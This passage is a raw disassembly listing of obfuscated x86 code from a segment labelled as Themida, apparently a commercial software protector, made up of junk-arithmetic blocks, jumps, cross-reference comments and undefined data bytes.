--------------------------------------------------------------------------- loc_50B70C: ; CODE XREF: Themida_:00511400j mov eax, 0CF17E915h jmp loc_519B28 ; --------------------------------------------------------------------------- loc_50B716: ; CODE XREF: Themida_:005103B9j pop ebx sub ecx, 0FFFFFFFFh push ebp mov ebp, 0B396320Eh sub ecx, ebp pop ebp sub edi, 15F91B7Ah add edi, ecx jmp loc_512F75 ; --------------------------------------------------------------------------- aTzsvu db 'TZv',0 dw 8B00h dd 0C483242Ch, 0A3BD5504h, 0E96A2641h, 10889h ; --------------------------------------------------------------------------- loc_50B748: ; CODE XREF: Themida_:00519924j shl ebx, 5 sub esp, 4 mov [esp], esi mov esi, 4D5A0634h xor ebx, esi push dword ptr [esp] pop esi add esp, 4 xor [esp+4], ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 push 1FFEh mov [esp], ebx push esp pop ebx push eax mov eax, 1B226307h not eax dec eax sub eax, 0E4DD9CF3h sub ebx, 4B9E5DDFh add ebx, eax add ebx, 4B9E5DDFh pop eax push edx jmp loc_5134AC ; --------------------------------------------------------------------------- dw 5456h dd 4C6815Eh, 0E9000000h, 0ABA8h, 0C581F501h, 35C77A0Eh dd 9540955Eh, 9AD7E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B7C2: ; CODE XREF: Themida_:0051653Cj neg ebx shl ebx, 3 sub ebx, 0FDD64B3Eh xor ecx, ebx pop ebx neg ecx push 3923h mov [esp], ebx jmp loc_51DD22 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 956BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B7EA: ; CODE XREF: Themida_:0050C285j pop esp shr dl, 8 jmp loc_51A55F ; --------------------------------------------------------------------------- loc_50B7F3: ; CODE XREF: Themida_:0050C3CAj push ebp push 2B4769Eh pop ebp push eax mov eax, 351D14E2h and ebp, eax pop eax push edi mov edi, 6F360F8h push ecx mov ecx, 0 sub ecx, edi xchg ecx, edi pop ecx jmp loc_512F00 ; --------------------------------------------------------------------------- aSdx db ']d',0 db 0 ; --------------------------------------------------------------------------- loc_50B81F: ; CODE XREF: Themida_:0050D4DEj mov [esp], esi mov esi, 5C162E77h jmp loc_51C151 ; --------------------------------------------------------------------------- dd 59243489h, 88F9015Eh, 240C8B01h, 4C481h, 0A2E90000h dd 89FFFFFDh, 243C8BFBh, 4C481h, 0D8010000h, 83241C8Bh dd 2C8B04C4h, 4C48124h, 68000000h, 1E54h, 52243489h, 8685BAh dd 5AD68974h, 0AF0CE9h, 78B500h, 285966E8h, 1FB551F8h dd 28A7ED80h, 1C8B59E8h, 0F9EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B88E: ; CODE XREF: Themida_:005148D1j sub esi, ebp jmp loc_513110 ; --------------------------------------------------------------------------- loc_50B895: ; CODE XREF: Themida_:00515414j and al, 0Ah add al, 15h add al, 0E7h sub cl, al pop eax jmp loc_519CC5 ; --------------------------------------------------------------------------- db 64h dd 2B60F66h, 4A7168h, 240C8900h, 11DBDE9h, 5FC96800h, 14890000h dd 4EC8324h, 67C968h, 24248900h, 4240481h, 8F000000h, 0E9512404h dd 146B4h ; --------------------------------------------------------------------------- loc_50B8D8: ; CODE XREF: Themida_:0050F3FBj and ebx, 6AC369EDh sub ebx, 0FDC6BEE6h jmp loc_518224 ; --------------------------------------------------------------------------- loc_50B8E9: ; CODE XREF: Themida_:0051FC8Dj xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 40A85AA4h sub ebp, 0FFFFFFFFh sub esp, 4 mov [esp], ecx mov ecx, 56D76056h not ecx add ecx, 5D5E57ECh or ecx, 24183145h jmp loc_50CC7B ; --------------------------------------------------------------------------- loc_50B922: ; CODE XREF: Themida_:0051D66Dj sub eax, 2B826A8Ch mov ebx, [esp] jmp loc_51D9F7 ; --------------------------------------------------------------------------- db 5Ah dd 0AA48EE2Dh, 5E80165h, 65AA48EEh, 8904EC83h, 0BF57240Ch dd 71DA0E0Bh, 6A18D6B9h, 5FF9312Ah, 2F7BC181h, 0D1F7598Eh dd 15AD68h, 241C8900h, 0BA35F0BBh, 55D3F71Fh, 2856A9BDh dd 0E9EB29B2h, 137BDh, 12B2E95Ch, 52BF0001h, 81262B2Ah dd 7E7580C7h, 0D1EF812Ah, 2950A99Fh, 0EA815FFAh, 34F66BD5h dd 48FE9h, 48B6600h, 2845E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B9A2: ; CODE XREF: Themida_:005119C7j pop ebx sub al, 0B7h jmp loc_517364 ; --------------------------------------------------------------------------- loc_50B9AA: ; CODE XREF: Themida_:0051E1ACj add esi, 4 jmp loc_51286D ; --------------------------------------------------------------------------- dw 5D5Dh dd 4B850h, 0C5010000h, 4C58358h, 12156E9h, 11C58100h, 812DD545h dd 137359EBh, 81EB291Dh, 137359C3h, 242C8B1Dh, 4C481h dd 0C3810000h, 6E315418h, 0EB81C329h, 6E315418h, 0B16FE955h dd 0C890000h, 276AE924h, 0E9800000h, 0FFF18054h, 5001E980h dd 7E94CB0h, 29000094h, 77405F8h, 7BE94AA8h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BA1B: ; CODE XREF: Themida_:0051453Aj mov ecx, [esp] sub esp, 4 mov [esp], edi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi push ebx mov ebx, 56E55EF4h neg ebx sub ebx, 58B91CDDh not ebx shr ebx, 4 or ebx, 577703F0h sub ebx, 5FFFE7F9h sub edi, 58623AEFh add edi, ebx add edi, 58623AEFh pop ebx jmp loc_5210B8 ; --------------------------------------------------------------------------- db 0E9h, 77h, 0FBh dd 0C481FFFFh, 4, 6ACFBA52h, 7CE92888h, 580000A0h, 6407E9h dd 243C8900h, 0BF121C68h, 0C7815F66h, 2223AE9h, 372BA52h dd 0D701C6A2h, 3F8FE9h, 0FFF98800h, 835B2434h, 0C18004C4h dd 66D90042h, 0E942B450h, 0C881h ; --------------------------------------------------------------------------- loc_50BAB8: ; CODE XREF: Themida_:00514334j push ebx mov ebx, 84F6FABBh add ecx, ebx pop ebx jmp loc_514C10 ; --------------------------------------------------------------------------- dw 0FD28h dd 1C5805Bh, 5239CD80h, 0F280C2B2h, 10EAE9A7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50BADA: ; CODE XREF: Themida_:00517BE9j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5187DC ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 4C781h, 3C870000h, 0E9575C24h, 8BFAh ; --------------------------------------------------------------------------- loc_50BB08: ; CODE XREF: Themida_:0051B96Dj push 1570h mov [esp], edi push 1 push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_515FE8 ; --------------------------------------------------------------------------- dw 5B66h dd 5166CDFEh, 12454F6h, 0F5805966h, 83DDF616h, 896602ECh dd 0DB02404h, 5866C530h, 8B66EB28h, 1E9240Ch, 890000C8h dd 0EAC158C2h, 81E2D102h, 9129DACAh, 0A153E91Eh, 0E6890000h dd 3526BD55h, 0DBE97D07h, 10000FDh, 56685BDFh, 0E900002Ch dd 0D411h, 0DFEA80h, 52535AD0h, 12255E9h db 0 ; --------------------------------------------------------------------------- loc_50BB91: ; CODE XREF: Themida_:0051735Fj push ebp mov ebp, esp push edi mov edi, 5F635B87h jmp loc_512926 ; --------------------------------------------------------------------------- db 29h dd 2E13E9CFh, 0F0280000h, 0E9535B5Ah, 0DCBCh, 5C243C87h dd 7BAB68h, 24348900h, 468h, 2D34E900h, 31AD0000h, 90668D8h dd 3C890000h, 7B476824h, 3C8B11F6h, 0DA79E924h, 0C5010000h dd 68555058h, 7306297Bh, 8F20E95Dh, 0E5890000h, 4C581h dd 0C5830000h, 242C8704h, 1C02685Ch, 34890000h, 0CD4EE924h dd 832C0000h, 8304D028h, 75CCE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_50BC16: ; CODE XREF: Themida_:0051927Aj pop ebp add esp, 4 pop dword ptr [esp] xchg edi, ebp not edi xor ebp, edi xor edi, ebp jmp loc_51BA23 ; --------------------------------------------------------------------------- loc_50BC2A: ; CODE XREF: Themida_:005123C1j mov [esp], ecx jmp loc_51384F ; --------------------------------------------------------------------------- dw 565Bh dd 152E3E9h db 0 ; --------------------------------------------------------------------------- loc_50BC39: ; CODE XREF: Themida_:0050E228j pop eax add ebx, edx jmp loc_517CA1 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 25h db 0F1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BC47: ; CODE XREF: Themida_:0051C0B4j sub ecx, 3D3033FCh sub ecx, ebp add ecx, 3D3033FCh mov ebp, [esp] add esp, 4 xor ecx, 0EDA05B5h jmp loc_5199BE ; --------------------------------------------------------------------------- loc_50BC69: ; CODE XREF: Themida_:00518ECFj mov [esp], eax mov eax, 98017A4h jmp loc_51C75C ; --------------------------------------------------------------------------- dw 565Ah dd 0F406D668h, 0C6815E7Eh, 9185931h, 0FF31E9h, 15EB8100h dd 29ADE9C0h, 24348BF3h, 0E904C483h, 2CA7h, 0B581E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50BCA2: ; CODE XREF: Themida_:0051AA13j add edx, eax jmp loc_516EAE ; --------------------------------------------------------------------------- db 59h, 0E9h, 19h dd 83000051h, 0DE0104C4h, 0E92434FFh, 3ED0h, 981EB81h dd 0D8016056h, 24348B5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4BD92B32h jmp loc_51B515 ; --------------------------------------------------------------------------- dd 0DD27EF81h, 0F8011C74h, 280B685Fh, 34890000h, 482D6824h dd 2C890000h, 126C6824h, 0D15D3353h, 398D68EDh, 34890000h dd 6B02BE24h, 0DEF77879h, 0B18CF681h, 0F521A7EAh, 1ED815Eh dd 0E9000000h, 1122Eh ; --------------------------------------------------------------------------- loc_50BD28: ; CODE XREF: Themida_:0051AC84j pop ebx sub bl, 0C8h sub bl, dh jmp loc_51BA48 ; --------------------------------------------------------------------------- db 58h dd 0E959C889h, 138EDh ; --------------------------------------------------------------------------- loc_50BD3C: ; CODE XREF: Themida_:005123AFj push edx mov edx, 1A721423h or edx, 1CF05D9h or edx, 4466273Dh jmp loc_50F45F ; --------------------------------------------------------------------------- loc_50BD53: ; CODE XREF: Themida_:00516A27j shr ebx, 1 add ebx, 79A4653Ah or ebx, 2F732DD7h jmp loc_516E08 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_51E907 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 81000000h, 4EDh, 242C8700h, 4EFDE95Ch db 1, 0 ; --------------------------------------------------------------------------- loc_50BD96: ; CODE XREF: Themida_:005165C5j add [esp+8], esi pop esi jmp loc_521120 ; --------------------------------------------------------------------------- loc_50BDA0: ; CODE XREF: Themida_:0051CBBCj xor ebx, [esp] jmp loc_50CC75 ; --------------------------------------------------------------------------- dd 1C28342h, 0B2A2E955h, 0C8FE0000h, 408E8C0h, 9E952A9h dd 8000009Fh, 0B8E913F2h db 0F6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BDC7: ; CODE XREF: Themida_:005162DFj add edi, 4 jmp loc_51A5FF ; --------------------------------------------------------------------------- dw 0CF81h dd 41D17AA1h, 2636EF81h, 0FE89AFBEh, 5EF5295Fh, 4EC81h dd 14890000h, 2F44BA24h, 0D0297D7Ah, 6D5F055Ah, 6CE97794h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BDFF: ; CODE XREF: Themida_:005197DEj xchg ebp, [esp] pop esp mov [esp], ebx push esp mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_512853 ; --------------------------------------------------------------------------- aWsS db 'W/',0 align 4 dd 28BACA81h, 0F2810C8Ch, 0EFCCFEBBh, 148BD701h, 4C48324h dd 90BBE56h, 0EEC13947h, 0FFBF5705h, 0E9FFFFFFh, 0F00h ; --------------------------------------------------------------------------- loc_50BE50: ; CODE XREF: Themida_:00512080j push 3530309h pop eax push esi push 722Ch mov [esp], eax mov eax, 60336729h add eax, 4C625BAEh dec eax not eax sub eax, 7430117h and eax, 61613203h sub eax, 3CCE2DF9h mov esi, eax pop eax sub eax, esi pop esi jmp loc_515230 ; --------------------------------------------------------------------------- loc_50BE86: ; CODE XREF: Themida_:00516AC0j pop eax push 3EA6h mov [esp], ebp push esp jmp loc_51EE27 ; --------------------------------------------------------------------------- db 0ACh, 4, 0D6h dd 80E3B551h, 0B32CC1F5h, 0B304E800h, 0EEE9h, 59685F00h dd 89000047h, 36E92414h db 21h, 1, 0 ; --------------------------------------------------------------------------- loc_50BEB7: ; CODE XREF: Themida_:00516201j xor [esp+4], edi jmp loc_51A6BB ; --------------------------------------------------------------------------- dd 2EC81h, 89660000h, 6FE9241Ch, 8300009Ah, 0BA5B04C4h dd 5478543Ch, 5366EA81h, 0FA294FABh, 5366BF57h, 0FA014FABh dd 18EE95Fh, 0EB010000h, 83242C8Bh, 0C32904C4h, 53E268h dd 24048900h, 51BB6853h, 8EE94484h, 52000126h, 0A43CE9h dd 4C48100h, 0E9000000h, 74CFh, 6606EAC0h, 28D8B551h, 12E0E9EAh dd 0C1810000h, 4, 13EF3E9h, 0D831AD00h, 23976851h, 3C890000h dd 4BEC6824h, 2C890000h, 483BBD24h, 3CBF4AE9h, 81C89A97h dd 0CB6247EFh, 81EF017Dh, 0CB6247C7h, 2434FF7Dh, 83242C8Bh dd 0C48304C4h, 473B6804h, 34890000h, 4815724h, 0AA62D624h dd 0EE815E21h, 21AA62D6h, 78E95556h, 0BB0000D1h, 4, 1CE9DE01h dd 59000060h, 0B151D800h, 7FA868B6h, 64E90000h, 5E0000D6h dd 3A6BEB81h, 0A2E91E55h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BFB3: ; CODE XREF: Themida_:00510123j add dword ptr [esp+4], 29F7482Bh jmp loc_5112CE ; --------------------------------------------------------------------------- dd 8B04C483h, 35682434h, 8900003Ah, 0E0892404h, 88EE9h db 0 ; --------------------------------------------------------------------------- loc_50BFD5: ; CODE XREF: Themida_:0051D3B4j sub ecx, 4 push 2391h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_50D26D ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 4C481h, 0C2810000h, 4, 4EC81h, 29E90000h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50C013: ; CODE XREF: Themida_:0051F51Bj pop edx jmp loc_510C75 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 0F7h dd 0F78147D7h, 537A6C70h, 0FFF81AE9h, 0E9565CFFh, 0B615h ; --------------------------------------------------------------------------- loc_50C030: ; CODE XREF: Themida_:0051A6B6j pop esp or eax, eax jz loc_5162C0 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], esi push 6F28h jmp loc_518FCF ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FD87h, 241C8B66h, 0E6DDE9h db 0 ; --------------------------------------------------------------------------- loc_50C05D: ; CODE XREF: Themida_:005107D3j xor ch, dl jmp loc_515E70 ; --------------------------------------------------------------------------- dd 4BEh, 24740100h, 52595E04h, 4BAh, 0E9D10100h, 8F8Eh dd 5F2434FFh, 49C0E9h db 0 ; --------------------------------------------------------------------------- loc_50C085: ; CODE XREF: Themida_:00513EA3j add eax, ebx sub eax, 47493691h pop ebx pop ecx add eax, 4 xchg eax, [esp] pop esp shr ecx, 6 push 2276h mov [esp], edi jmp loc_520917 ; --------------------------------------------------------------------------- loc_50C0A7: ; CODE XREF: Themida_:0051B0A4j mov ecx, [esp] add esp, 4 push edx mov edx, 3A7A4528h not edx jmp loc_511E28 ; --------------------------------------------------------------------------- db 89h, 0F0h, 5Eh dd 5CCDE9h, 0E9E08900h, 1FBAh, 8048C281h, 0D301DD67h, 0E924148Bh dd 14867h, 0E924248Bh, 2CE9h, 785FBA52h, 424244C1h, 565CEA81h dd 0D029E456h, 0FFF836E9h, 4C481FFh, 0E9000000h, 557h dd 5C240C87h, 0EC368h, 241C8900h, 42474FFh, 8B2434FFh dd 0C481241Ch, 4, 4C481h, 48F0000h, 24248B24h, 8B2434FFh dd 0C4832414h, 77B86804h, 14890000h, 232E924h db 1, 0 ; --------------------------------------------------------------------------- loc_50C142: ; CODE XREF: Themida_:0051A52Ej push ebx mov ebx, 3A581E1Ah sub edx, ebx pop ebx mov ecx, [esp] add esp, 4 dec edx push esi mov esi, 48097E0Dh and edx, esi jmp loc_51A8A8 ; --------------------------------------------------------------------------- dw 1489h aS9 db '$9',0 align 2 dw 248Bh dd 14896624h, 9C506624h, 0FFF46CE9h, 240C33FFh, 33240C31h dd 248B240Ch, 4896624h, 0F457E924h, 0DBF7FFFFh, 32ACC381h dd 814307D5h, 435F4EEBh, 5BDA01C3h, 6DCDEE81h, 0D60128C5h dd 5718E9h, 4E98100h, 87000000h, 895C240Ch, 0D5E92434h db 0FDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50C1BF: ; CODE XREF: Themida_:005182E2j push bx mov bh, 87h mov cl, bh pop bx shr cl, 5 shr cl, 8 jmp loc_50E4F4 ; --------------------------------------------------------------------------- dw 0E5BBh dd 0B858D25Bh, 0E1661FDEh, 835BD801h, 0E95701E8h, 0ADAEh ; --------------------------------------------------------------------------- loc_50C1E8: ; CODE XREF: Themida_:00516F91j add edi, 4BD12DF9h pop esi sub esp, 4 jmp loc_51788C ; --------------------------------------------------------------------------- dw 405h dd 2D000000h, 4, 5C240487h, 38C8E9h, 24048F00h, 2434895Ch dd 0A55CE9h db 0 ; --------------------------------------------------------------------------- loc_50C219: ; CODE XREF: Themida_:005153F4j push 2E2346CDh pop edi neg edi jmp loc_520555 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 8754E9h, 0CEB8000h, 9C13E9h, 0FB015900h, 0E9243C8Bh dd 12B3Eh, 243C895Ch, 28E8E9h, 8E6C100h, 1144E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C256: ; CODE XREF: Themida_:0051EEBBj add edi, 4 sub edi, 4 jmp loc_50C3C3 ; --------------------------------------------------------------------------- loc_50C267: ; CODE XREF: Themida_:00518EB9j dec al jmp loc_519FC2 ; --------------------------------------------------------------------------- loc_50C26E: ; CODE XREF: Themida_:0051BA56j mov [esp], edx jmp loc_51FF17 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] jmp loc_50B7EA ; --------------------------------------------------------------------------- dw 0C329h dd 0F6AEE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C292: ; CODE XREF: Themida_:0051C708j push esp jmp loc_51B4E0 ; --------------------------------------------------------------------------- dd 5EF1015Eh, 0E9240C87h, 11F4Bh, 4246C01h, 8EE95E5Dh dd 8300008Ah, 81FD04C4h, 4ECh, 241C8900h, 0F37BE56h, 3BE96667h dd 0FF0000B8h, 8B042474h, 0C481243Ch, 4, 5C24048Fh, 8B24048Fh dd 9AE92424h, 2900000Eh, 0E5C15AD5h, 8679E907h, 8D0D0000h dd 53103A2Ch, 0FF88E9h db 0 ; --------------------------------------------------------------------------- loc_50C2F9: ; CODE XREF: Themida_:0051CA08j push dword ptr [esp] pop esi push ebx mov ebx, esp jmp loc_514940 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 42h dd 0C689F281h, 0D029B8CAh, 1E6E9h, 2474FF00h, 48F5A04h dd 72E95C24h db 0E0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50C323: ; CODE XREF: Themida_:005203C2j xor dword ptr [edi+20h], 78364A0Ah mov ebp, [esp] jmp loc_51EB32 ; --------------------------------------------------------------------------- dw 0D901h dd 1270E981h, 1C8B1056h, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 2C181h, 26E90000h, 660000B7h, 8324048Bh dd 3C8904ECh, 685F5424h, 0A17h, 68241489h, 70F90AB9h, 0D3F2815Ah dd 560A1338h, 108B5E9h db 0 ; --------------------------------------------------------------------------- loc_50C381: ; CODE XREF: Themida_:0051037Fj sub ecx, 2D24179Eh pop edi add ecx, 1C79ABh jmp loc_5120E2 ; --------------------------------------------------------------------------- db 81h dd 901A3C7h, 0E956523Fh, 8CCAh, 0EEC1D6F7h, 0C1D6F708h dd 0C68106E6h, 2CF2B1C4h, 4EC81h, 1C890000h, 14CEBB24h dd 89E93700h db 0F3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50C3C3: ; CODE XREF: Themida_:0050C262j xchg edi, [esp] pop esp mov [esp], eax jmp loc_50B7F3 ; --------------------------------------------------------------------------- db 29h dd 0E9102444h, 0E90Eh ; --------------------------------------------------------------------------- loc_50C3D8: ; CODE XREF: Themida_:0051B19Aj mov esi, 4 add [esp+4], esi pop esi pop edx jmp loc_51A853 ; --------------------------------------------------------------------------- loc_50C3E8: ; CODE XREF: Themida_:0050DB81j mov eax, ebp pop ebp jmp loc_5194F0 ; --------------------------------------------------------------------------- aHMEsr db 'hmER',0 align 2 dw 0B753h dd 5BF98886h, 5966C828h, 8058C328h, 24E94EC3h, 81000073h dd 4C1h, 0E0895000h, 405h, 4E88300h, 5C240487h, 590BE9h dd 48B6600h, 0BD06E924h, 96B60000h, 3E8468h, 241C8900h dd 6E9D3B3h, 81000106h, 4C4h, 1DF4E900h, 0C8B0000h, 4C48124h dd 0E9000000h, 13EB1h, 9D1C77FFh, 0D3665966h, 0E99C241Ch dd 0FFFFF179h, 2434335Dh, 33243431h, 0BEE92434h, 0B90000F9h dd 0C001AFBh, 0D856E9h db 0 ; --------------------------------------------------------------------------- loc_50C485: ; CODE XREF: Themida_:005173D5j pop ebp add ebp, 4 sub ebp, 4 jmp loc_51E4CE ; --------------------------------------------------------------------------- dd 8904EC83h, 88BE2434h, 8125EA6Eh, 0DC5E10C6h, 14ACE910h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C4AA: ; CODE XREF: Themida_:0051C8FBj add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 67BFh mov [esp], ebx push 528902C1h push dword ptr [esp] mov ebx, [esp] add esp, 4 push 5125h mov [esp], edx mov edx, esp add edx, 4 push edi push ebp mov ebp, 6D9E3D11h add ebp, 0F5627D2h shl ebp, 7 jmp loc_516309 ; --------------------------------------------------------------------------- db 0FFh dd 7FE92434h, 5700007Fh, 0BE7430BFh, 0A66E95Ch db 1, 0 ; --------------------------------------------------------------------------- loc_50C50E: ; CODE XREF: Themida_:0050CA36j mov edx, [esp] add esp, 4 jmp loc_51CA3C ; --------------------------------------------------------------------------- loc_50C519: ; CODE XREF: Themida_:0050FC7Dj add edi, ecx mov ecx, [esp] add esp, 4 pop esi and eax, edi jmp loc_51B95D ; --------------------------------------------------------------------------- loc_50C52C: ; CODE XREF: Themida_:005128BFj mov edi, esp jmp loc_51EF1D ; --------------------------------------------------------------------------- db 0FFh a4So db '4$鮲',0 dw 8100h dd 913785F5h, 38C18188h, 12A0166h, 38BA52E9h, 292A0166h dd 0BB3DE9D1h, 6C010000h, 8F5D0424h, 4812404h, 424h, 2434FF00h dd 5A2434FFh, 0EB83E9h, 24048B00h, 81E78957h, 4C7h, 4C78300h dd 5C243C87h, 6F1568h, 24348900h, 24348B54h, 0E904C483h dd 0E73h, 0E904C683h, 801Ah, 2474FF52h, 48F5A04h, 7EE95C24h dd 81000070h, 4C4h, 789E900h db 1, 0 ; --------------------------------------------------------------------------- loc_50C5BA: ; CODE XREF: Themida_:0051077Dj add ecx, 4 jmp loc_514697 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 4EC81h, 0C890000h, 0A7EFE924h, 34FF0000h, 0C4815B24h dd 4, 6DABB850h, 0F7406650h, 0E9D0F7D8h, 6EAFh, 50E38953h dd 0B13B29B8h, 41590558h, 86354A20h, 1A2D17Ch, 0BE75E9C3h dd 8B590000h, 8FE9241Ch, 6600002Ch, 6824048Bh, 2FBEh, 68242C89h dd 3B18h, 52242489h, 4BAh, 0C5BD5500h, 814C0067h, 1308246Ch dd 17FFF33h, 8108246Ch, 13082444h, 0E97FFF33h, 124D3h dd 4EC815Bh, 89000000h, 64E9243Ch, 5500002Dh, 9907DEBDh dd 0E3ED8126h, 29A729D8h, 242C8BEEh, 0E904C483h, 4C4Ch dd 24048B66h, 8904EC83h, 0E954241Ch, 8421h, 4C481h, 0EC830000h dd 240C8904h, 0E98001B1h, 39E95041h, 100003Bh, 2AEF81DFh dd 8B429E63h, 76E9241Ch, 680000D3h, 4F29h, 0E9243C89h dd 795Ah, 85BD830h, 0C9FE58C1h, 0E9F1E980h, 16ACh ; --------------------------------------------------------------------------- loc_50C6C8: ; CODE XREF: Themida_:005160AFj sub esp, 4 mov [esp], esi mov esi, 58571EABh jmp loc_5181FB ; --------------------------------------------------------------------------- loc_50C6DB: ; CODE XREF: Themida_:0051984Bj mov edi, [esp] push ebx jmp loc_51DB3F ; --------------------------------------------------------------------------- dd 5059C829h, 1101EE9h, 4EC8100h, 89000000h, 74FF242Ch dd 8F5D0424h, 0E95C2404h, 1152Dh, 791AA0BAh, 0A0DE919h db 1, 0 ; --------------------------------------------------------------------------- loc_50C70E: ; CODE XREF: Themida_:005147DFj push 76F7h jmp loc_50CADA ; --------------------------------------------------------------------------- dd 6AABF381h, 0E9522CB2h, 7056h, 2C20B951h, 0CF097C71h dd 8906E9h db 0 ; --------------------------------------------------------------------------- loc_50C731: ; CODE XREF: Themida_:00510EFAj mov esp, [esp] push edx mov esi, [esp] jmp loc_511F1F ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 6C0EB8B8h, 2DBD553Dh, 0E96FBC74h, 0E5A9h ; --------------------------------------------------------------------------- loc_50C750: ; CODE XREF: Themida_:00513863j and ecx, 320A4740h add ecx, 0FFFFFEC4h jmp loc_518CB5 ; --------------------------------------------------------------------------- db 29h, 0E8h, 0E9h dd 10A77h, 0EC8BC781h, 0FE891DD1h, 0E9F3015Fh, 79A2h ; --------------------------------------------------------------------------- loc_50C778: ; CODE XREF: Themida_:0051113Ej mov edx, 5C8A6B25h add edx, 0A8223A0h xor esi, edx jmp loc_5182E7 ; --------------------------------------------------------------------------- dw 815Eh dd 4ECh, 242C8900h, 4BDh, 4EB8100h, 575EBA16h, 0A39CE9h db 0 ; --------------------------------------------------------------------------- loc_50C7A5: ; CODE XREF: Themida_:005146B2j mov [esp], edx jmp loc_5199CD ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 8104C483h, 4C4h, 0CFE95600h, 890000AFh, 4C381E3h, 50000000h dd 4B8h, 0E9C30100h, 6C02h ; --------------------------------------------------------------------------- loc_50C7D4: ; CODE XREF: Themida_:0050C8A4j dec edx push ebp mov ebp, 7A4E2985h and edx, ebp jmp loc_5122DB ; --------------------------------------------------------------------------- loc_50C7E2: ; CODE XREF: Themida_:00521038j xor [edi+20h], esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push 69F4h mov [esp], ebp push 50F273D8h jmp loc_51BCBF ; --------------------------------------------------------------------------- loc_50C803: ; CODE XREF: Themida_:0050EAABj sub eax, ebx pop ebx mov edx, eax pop eax add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_5144BE ; --------------------------------------------------------------------------- loc_50C81B: ; CODE XREF: Themida_:00510ED6j pop dword ptr [esp] mov esp, [esp] mov [esp], ecx push esp pop ecx push eax jmp loc_511333 ; --------------------------------------------------------------------------- dd 8104C483h, 2ECh, 14896600h, 4EC8124h, 0E9000000h, 11B02h dd 0DEF7D6F7h, 0B6B0EE81h, 0E9527CAFh, 0E1CFh, 5C243433h dd 4BB0F66h, 98E99C24h, 50000B3h, 4, 4BB53h, 0D8010000h dd 2404875Bh, 242C815Ch, 1FE10FF7h, 81240401h, 0FF72404h dd 4811FE1h, 0EE7EE424h, 0ED53E90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C892: ; CODE XREF: Themida_:0050E278j and eax, 1884108h dec eax push edx mov edx, 1D6D391Eh or edx, 1E3019F6h jmp loc_50C7D4 ; --------------------------------------------------------------------------- db 1, 0FBh, 55h dd 0FBE95057h, 46000058h, 2CF5B850h, 450D299Ch, 0E974B35Dh dd 15FBh ; --------------------------------------------------------------------------- loc_50C8C4: ; CODE XREF: Themida_:00513295j mov [esp], ecx jmp loc_516F13 ; --------------------------------------------------------------------------- aHJ db '\h~j',0 align 2 dw 0C89h dd 56F26824h, 0C1591BA8h, 0EC8104E9h, 4, 0BD242C89h, 667510D0h dd 0F8BF581h, 0ED834F1Dh, 49C581FFh, 8167B614h, 0B1B9B0EDh dd 5DE9316Bh, 44E3BB53h, 0D9014A91h, 0E0BA525Bh, 81579343h dd 0A6444FEAh, 3E2C133h, 0D01CF281h, 0BB530E70h, 6451247Eh dd 15BD929h, 7EC181D1h, 0E9645124h, 0FFFFF33Eh, 3A65E3B9h dd 0CDF18173h, 0C1507803h, 0E98105E9h, 0A198D0BDh, 11FCEE9h db 0 ; --------------------------------------------------------------------------- loc_50C951: ; CODE XREF: Themida_:00512F2Dj add eax, 9C2CC29Dh and edi, eax pop eax push 66E9h jmp loc_518C6E ; --------------------------------------------------------------------------- loc_50C963: ; CODE XREF: Themida_:0051EA85j sub ebp, ebx pop ebx sub ebx, ebp pop ebp add edi, ebx pop ebx push eax mov eax, 4 sub edi, eax pop eax xchg edi, [esp] mov esp, [esp] mov 